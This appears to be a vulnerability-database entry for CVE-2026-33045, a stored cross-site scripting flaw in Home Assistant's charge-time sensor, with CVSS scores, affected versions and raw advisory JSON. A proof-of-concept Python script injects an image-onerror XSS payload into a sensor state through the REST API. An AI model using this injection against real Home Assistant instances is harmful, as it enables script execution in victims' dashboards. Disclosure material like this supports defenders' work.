Security Vulnerability Report
中文
CVE-2026-33045 CVSS 5.4 MEDIUM

CVE-2026-33045

Published: 2026-03-27 20:16:31
Last Modified: 2026-03-31 20:16:27

Description

Home Assistant is open source home automation software that puts local control and privacy first. Starting in version 2025.02 and prior to version 2026.01 the "remaining charge time"-sensor for mobile phones (imported/included from Android Auto it appears) is vulnerable cross-site scripting, similar to CVE-2025-62172. Version 2026.01 fixes the issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:* - VULNERABLE
Home Assistant >= 2025.02
Home Assistant < 2026.01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-33045 # This script demonstrates how a malicious sensor value could be injected # via the Android Auto integration or API if not sanitized. import requests # Target Home Assistant URL and API Token TARGET_URL = "http://home-assistant.local:8123" API_TOKEN = "Bearer YOUR_LONG_LIVED_ACCESS_TOKEN" SENSOR_ENTITY_ID = "sensor.android_auto_battery_remaining_charge_time" # The XSS Payload to be injected # This payload attempts to execute an alert box when rendered XSS_PAYLOAD = "<img src=x onerror=alert('XSS_CVE-2026-33045')>" headers = { "Authorization": API_TOKEN, "content-type": "application/json", } # Construct the API request to update the sensor state # In the real vulnerability, the Android Auto component sends this data automatically url = f"{TARGET_URL}/api/states/{SENSOR_ENTITY_ID}" data = { "state": XSS_PAYLOAD, "attributes": { "unit_of_measurement": "min", "friendly_name": "Remaining Charge Time" } } try: response = requests.post(url, json=data, headers=headers) if response.status_code == 200: print(f"[+] Payload injected successfully. View dashboard to trigger XSS.") print(f"[+] Payload content: {XSS_PAYLOAD}") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33045", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:31.150", "lastModified": "2026-03-31T20:16:27.450", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Home Assistant is open source home automation software that puts local control and privacy first. Starting in version 2025.02 and prior to version 2026.01 the \"remaining charge time\"-sensor for mobile phones (imported/included from Android Auto it appears) is vulnerable cross-site scripting, similar to CVE-2025-62172. Version 2026.01 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.2.0", "versionEndExcluding": "2026.1.0", "matchCriteriaId": "72B235CE-5F53-4FAA-8388-0DC5A3DE21D1"}]}]}], "references": [{"url": "https://github.com/home-assistant/core/security/advisories/GHSA-46j8-vpx8-6p72", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/home-assistant/core/security/advisories/GHSA-mq77-rv97-285m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/home-assistant/core/security/advisories/GHSA-46j8-vpx8-6p72", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}